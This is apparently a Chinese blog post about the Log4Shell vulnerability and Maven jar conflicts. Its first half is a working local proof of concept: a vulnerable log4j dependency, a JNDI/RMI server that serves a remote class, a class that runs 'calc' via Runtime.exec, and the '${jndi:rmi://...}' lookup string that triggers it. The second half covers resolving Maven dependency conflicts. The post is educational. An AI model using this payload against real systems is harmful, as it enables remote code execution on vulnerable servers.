去年的log4j漏洞是怎么回事、maven中jar包冲突问题


常规操作

首先配置依赖:

此处选版本还是有漏洞的版本。

<properties>
    <log4.version>2.14.0</log4.version>
</properties>
<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>${log4.version}</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>${log4.version}</version>
    </dependency>
</dependencies>

可能需要一些配置,放在log4j2.properties里。

尝试常规打印操作:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

class Solution {
    private static final Logger logger = LogManager.getLogger(Solution.class);
    // Solution.class: 追踪产生此日志的类.

    public static void main(String[] args) {
        String userName = "orzlinux.cn";
        logger.info("我的网站是:{}",userName);
        // output:
        // 2022-03-17 10:12:12 INFO  Solution:12 - 我的网站是:orzlinux.cn
    }
}

开始不对劲

public static void main(String[] args) {
    String userName = "${java:os}";
    logger.info("我的网站是:{}",userName);
    // output:
    // 2022-03-17 10:19:32 INFO  Solution:13 - 我的网站是:Windows 10 10.0, architecture: amd64-64
}

JNDI

The Java Naming and Directory Interface,是一组在java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,可以通过名称访问对象。

例如RMI远程调用的形式。

Naming

  • Bindings:一个名称和对应的对象的绑定关系
  • Context:上下文,一个上下文对应着一组名称到对象的绑定关系。例如文件系统中,一个目录就是一个上下文。子目录也可以称为一个上下文。
  • References:有些对象可能无法直接存储在系统里,就以引用的形式存储。

Dorectory

目录服务可以看做是名称服务的一种扩展,除了名称服务中已有的名称到对象的关联信息之外,还允许对象拥有属性信息,所以不仅可以根据名称查找对象(lookup),还可以根据属性值去搜索对象(search)。

例如打印服务,在命名服务中,可以根据打印机名称去获取打印机对象的引用,然后进行打印操作;同时打印机有速率,分辨率,颜色这些属性,作为目录服务,用户可以根据打印机的属性去搜索响应的打印机对象。

API

image-20220317105743508

RMI

Remote Method Invocation,java自带的远程调用框架。

以前有过笔记:RMI和JMX - hqinglau的博客

JNDI注入

前面RMI里面,服务端可以绑定一个对象,在客户端进行查找额时候以序列化的方式返回。也可以绑定一个对象的引用,让客户端去指定地址获取对象。

整体流程

image-20220317115458823

server

public class Server{

    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException, InterruptedException {
        Registry registry = LocateRegistry.createRegistry(8181);
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        Reference reference = new Reference("Inject", "Inject", "http://127.0.0.1:9999/");
        // 位于另外的服务器,例如用一个python启动:python3 http.server -m 9999, 便可以简单的通过网络传输class文件
        // 客户发起rmi请求之后,会尝试从http://127.0.0.1:9999/Inject.class获取并加载文件
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.rebind("inject", wrapper);

        System.out.println("服务已启动");
        Thread.currentThread().join();
    }

    public Server() {}
}

启动文件服务

D:\Users\javaProjects\javaLearn\src\main\java> python3 -m  http.server 9999

示例:

image-20220317115421101

client

public class Client {
    private Client() {}

    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        // 使用JDNI在命名服务中发布引用
        Hashtable env = new Hashtable();
        // 在新版本java中,有rmi限制,此处只是举个注入例子,应有其他方法注入
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8181");
        InitialContext context = new InitialContext(env);
        Object obj = context.lookup("rmi://127.0.0.1:8181/inject");
        System.out.println(obj);
    }
}

public class Inject {
    static {
        System.out.println("I can do anything.");
    }
}

打印出了:

I can do anything.

如果里面是计算机指令呢?

public class Inject {
    static {
        try {
            //打开计算机
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("I can do anything.");
    }
}

运行client之后,自动打开了计算器。

这个就比较可怕了。

回到log4j

class Solution {
    private static final Logger logger = LogManager.getLogger(Solution.class);
    // Solution.class: 追踪产生此日志的类.
    public static void main(String[] args) {
        String userName = "${jndi:rmi://127.0.0.1:8181/inject}";
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        logger.info("my name is: {}",userName);
    }
}

输出是:

I can do anything.
2022-03-17 12:02:52 INFO  Solution:14 - my name is: ${jndi:rmi://127.0.0.1:8181/inject}

同时,还打开了计算器。

image-20220317120659442

==maven jar包冲突==

模拟冲突

 <dependency>
     <groupId>org.springframework</groupId>
     <artifactId>spring-core</artifactId>
     <version>5.2.3.RELEASE</version>
</dependency>

依赖图:

image-20220317121036864

可以看到,依赖了一个5.2.3版本的jcl。

如果pom.xml中又有了一个低版本的jcl呢?

出现了依赖冲突:

image-20220317121325141

如何解决

把冲突的依赖排除<exclusion>

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>5.2.3.RELEASE</version>
    <exclusions>
        <exclusion>
            <groupId>org.springframework</groupId>
            <artifactId>spring-jcl</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-jcl</artifactId>
    <version>5.0.0.RELEASE</version>
</dependency>

然后就正常了。

image-20220317121624547

maven的jar包管理机制

依赖传递

当在Maven项目中引入A的依赖,A的依赖通常又会引入B的jar包,B可能还会引入C的jar包。这样,当你在pom.xml文件中添加了A的依赖,Maven会自动的帮你把所有相关的依赖都添加进来。

最短路径优先

依据依赖的长短决定引入哪个依赖(两个冲突的依赖)。

最先声明优先原则

如果两个依赖的路径一样,最短路径优先原则是无法进行判断的,此时需要使用最先声明优先原则,也就是说,谁的声明在前则优先选择。

jar包冲突

依赖链路一:A -> B -> C -> G21(guava 21.0)
依赖链路二:D -> F -> G20(guava 20.0)

按照maven的jar包管理机制,会使G20,如果C用到了21的一些新特性,就会抛出异常。

此时可以根据刚才模拟解决冲突的方法查看冲突的依赖,然后排除老版本。

统一jar包依赖

如果一个项目有多个子项目,可采用父pom对版本统一管理。

比如在父pom.xml中定义Lombok的版本:

<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.10</version>
        </dependency>
    </dependencies>
</dependencyManagement>

在子module中便可定义如下:

<dependencies>
    <dependency>
        <groupId>org.projectlombok</groupId>
        <artifactId>lombok</artifactId>
    </dependency>
</dependencies>

通过这种方式,所有的子module中都采用了统一的版本。

或者dependencyManagement。